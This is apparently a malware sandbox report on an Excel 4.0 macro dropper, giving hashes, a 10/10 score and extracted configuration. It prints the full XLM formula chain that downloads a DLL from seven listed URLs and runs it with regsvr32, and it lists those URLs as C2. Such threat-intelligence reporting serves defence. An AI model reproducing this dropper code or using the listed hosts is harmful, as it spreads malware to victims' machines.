General

  • Target

    27f7be3bf245541925b14e7a57a47be0ab11d4b61411aaaa327e229e3ad4a945

  • Size

    73KB

  • Sample

    241120-fl62aascmk

  • MD5

    3a56529d405c5455641f6a43be6d5bb9

  • SHA1

    cf7b278b72dc93eaf1830aeccfee47c87d8b6596

  • SHA256

    27f7be3bf245541925b14e7a57a47be0ab11d4b61411aaaa327e229e3ad4a945

  • SHA512

    ff9a06f714279029a95a40f2f66247350a52a699d191d20d3e7a5663bef80dc7b29cb2e9e196d36ce8ffc82cb601eaa96c4292e1bd499c141d38a8bd422c3a0e

  • SSDEEP

    1536:M+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:M+1kiCtzSmICpH7OZuvZGsMe0/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

http://almoiz.com/urdu/LDlbo5gc4c/

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

http://avrworks.com/mail/tGJconiBvy59a81/

http://asave.com.mx/cgi-bin/CUa/

https://aquinoabogados.com.ar/newsletter/tx9KBb2j/

http://avcservices-tt.com/EANAPI/hswSV1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

xlm40.dropper

http://almoiz.com/urdu/LDlbo5gc4c/

xlm40.dropper

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

xlm40.dropper

http://avrworks.com/mail/tGJconiBvy59a81/

Targets

    • Target

      27f7be3bf245541925b14e7a57a47be0ab11d4b61411aaaa327e229e3ad4a945

    • Size

      73KB

    • MD5

      3a56529d405c5455641f6a43be6d5bb9

    • SHA1

      cf7b278b72dc93eaf1830aeccfee47c87d8b6596

    • SHA256

      27f7be3bf245541925b14e7a57a47be0ab11d4b61411aaaa327e229e3ad4a945

    • SHA512

      ff9a06f714279029a95a40f2f66247350a52a699d191d20d3e7a5663bef80dc7b29cb2e9e196d36ce8ffc82cb601eaa96c4292e1bd499c141d38a8bd422c3a0e

    • SSDEEP

      1536:M+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:M+1kiCtzSmICpH7OZuvZGsMe0/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks